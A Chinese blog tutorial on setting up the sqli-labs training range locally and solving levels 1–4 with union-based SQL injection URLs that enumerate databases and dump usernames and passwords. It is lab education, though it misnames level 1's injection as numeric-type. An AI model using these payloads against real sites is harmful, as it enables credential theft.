SQL注入之sqli-labs

目录

(一)搭建 sqli-labs 靶场

(二)一些基础知识

(三)sqli-labs的第一关至第四关笔记

(1)第一关 

(2)第二关

(3)第三关

(4)第四关


sqli-labs 是一款基于 sql 注入的游戏教程,有利于更好地了解 sql 注入的语法。

(一)搭建 sqli-labs 靶场

搭建 sqli-labs 靶场前首先要下载 phpstudy

phpstudy下载链接:https://www.xp.cn

要保证安装路径中不能有空格和中文。

下载完成后:

SQL注入之sqli-labs_第1张图片

可以对 root 数据库进行修改密码或创建数据库,然后在软件管理里面下载 php 5.6.9,因为sqli-labs不支持php7以上的版本,所以需要下载5.x版本

SQL注入之sqli-labs_第2张图片

sqli-labs 项目的下载地址为:https://github.com/Audi-1/sqli-labs

有些朋友如果无法打开Github可以参考这篇文章:解决windows10访问github官网进不去的问题 - 空_白/ - 博客园 (cnblogs.com)

进入后点击

SQL注入之sqli-labs_第3张图片

进行下载。

下载完成后,将之前下载的源码解压到web目录下,windows下的phpstuudy解压在www目录下。

SQL注入之sqli-labs_第4张图片

接着修改sqli-labs里面的账号密码 

SQL注入之sqli-labs_第5张图片

右键 db-creds.inc 选择编辑模式 ,修改密码

SQL注入之sqli-labs_第6张图片

这里的密码就是phpstudy 里面数据库的账号密码,如果没有改动就是root

启动主页面的 apache 和 mysql

SQL注入之sqli-labs_第7张图片

如果都变绿了就代表成功了。

打开谷歌输入 http://127.0.0.1/sqli-labs-master/

SQL注入之sqli-labs_第8张图片

点第一个创建数据库,注意如果你的php版本不是5.x会出错!!!

SQL注入之sqli-labs_第9张图片

如果出现的页面如图所示就代表创建成功了。

 这里推荐一个Google的插件hackbar,比较好用,当然直接在搜索栏改也可以的。

谷歌与火狐Hackbar插件下载与安装 - 菜鸟-传奇 - 博客园 (cnblogs.com)

好了,准备工作做好了可以开始第一关的练习了。
 

(二)一些基础知识

(1)如何进入 mysql 界面?

SQL注入之sqli-labs_第10张图片

点击 mysql 

在 MySQL 文件里进入 bin,打开 cmd命令行,调到当前页面输入 mysql -u root -p,然后回车

SQL注入之sqli-labs_第11张图片

输入自己的密码回车,进入 mysql 命令行 

所有mysql执行语句后面都要加";"

进入后可以先看数据库名称:show databases;
切换数据库:use security;

mysql里的元数据库:information_schema #用于存放mysql的所有数据

mysql里的元数据表:table 表:主要是记录 Mysql 当中的所库及所有表,表的字段 table_schema(用于记录库名)table_name(用于记录表名)


mysql简单基本用法:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema="security"
查列:select column_name from information_schema.columns where table_name="users"
查字段:select username,password from security.users

(三)sqli-labs的第一关至第四关笔记

SQL注入之sqli-labs_第12张图片

(1)第一关 

(新手:为了便于新手更加直观的看到 sql 注入的语句

SQL注入之sqli-labs_第13张图片

编辑php文件:

SQL注入之sqli-labs_第14张图片

 在sql 语句下面加入两句:

echo $sql;		# 将构造的 sql 语句进行输出
echo "
"; # 换行输出

这样在页面中会显示你的 sql 注入语句,十分清晰。以后每关都可以这样修改)

来到第一关:

SQL注入之sqli-labs_第15张图片

SQL注入之sqli-labs_第16张图片

输入不同的id值发现页面中回显的内容不同,说明存在注入漏洞,再判断漏洞类型:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2'

 SQL注入之sqli-labs_第17张图片

 发现下面一行报错信息中判断为数字型注入,再输入

http://127.0.0.1/sqli-labs-master/Less-1/?id=2'--+

SQL注入之sqli-labs_第18张图片

 是因为“--+”这个符号代表注释的意思,表示将“--+”后面的语句注释掉了,不再执行。

再来判断字段数:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 2--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 4--+

依次执行,发现到4的时候报错

SQL注入之sqli-labs_第19张图片

说明字段数为3,即有3列。

可以在 mysql 命令行中看一下:

SQL注入之sqli-labs_第20张图片

SQL注入之sqli-labs_第21张图片

 SQL注入之sqli-labs_第22张图片

 对比上面两张图可以发现,按第一列排和按第二列排有明显的区别

所以可以看出有3列。

 之后使用联合查询:

http://127.0.0.1/sqli-labs-master/Less-1/?id=2' union select 1,2,3--+

SQL注入之sqli-labs_第23张图片

发现页面数据没有变化,应该将前面的id值改为一个不存在的值,比如-1 

SQL注入之sqli-labs_第24张图片

从返回的结果看到这两个有回显,可以利用。

查库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata--+

这里选择的回显位置是3,所以把3替换掉了,2也可以作为回显位置。

SQL注入之sqli-labs_第25张图片

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,schema_name from information_schema.schemata limit 1,1--+

在后面加上limit之后输出不同的库名,比如

limit 0,1--+    mysql
limit 1,1--+    information_schema
limit 2,1--+    performance_schema

等等。

但是这种方法太慢了,可以使用一个函数 group_concat() 快速获取

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,group_concat(schema_name) from information_schema.schemata--+

SQL注入之sqli-labs_第26张图片

我们要取 security 库中的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

where 语句对其进行限定,这里不建议使用“security”,因为会引入引号等问题,推荐使用16进制

16进制前面要加上0x,后面的security可以在hackbar中

SQL注入之sqli-labs_第27张图片

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

 最后执行结果相同。

接下来取users表里面的数据

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

爆数据

这里推荐另一个函数,concat_ws("",A,B),最后的输出形式为 A~B,有利于用户名和密码对应。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users--+

SQL注入之sqli-labs_第28张图片

 结合一下两个函数可以很清晰的看到结果。

同样,这里也推荐将“~”改为16进制:0x7e

到此为止,第一关通过。

建议将第一关弄懂后再看下面两关,会非常简单

(2)第二关

http://127.0.0.1/sqli-labs-master/Less-2/?id=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’

SQL注入之sqli-labs_第29张图片

可以看出是数字型注入。因为没有引号,所以后面不需要“--+”来注释

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4

 SQL注入之sqli-labs_第30张图片

 同样为3列。

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

SQL注入之sqli-labs_第31张图片

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

(3)第三关

http://127.0.0.1/sqli-labs-master/Less-3/?id=1
http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+

SQL注入之sqli-labs_第32张图片

将后面的“)”注释后,就可以执行中间的语句了。

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

(4)第四关

http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+

后面的和之前一个套路

你可能感兴趣的:(sql注入,数据挖掘,chrome,web安全,php)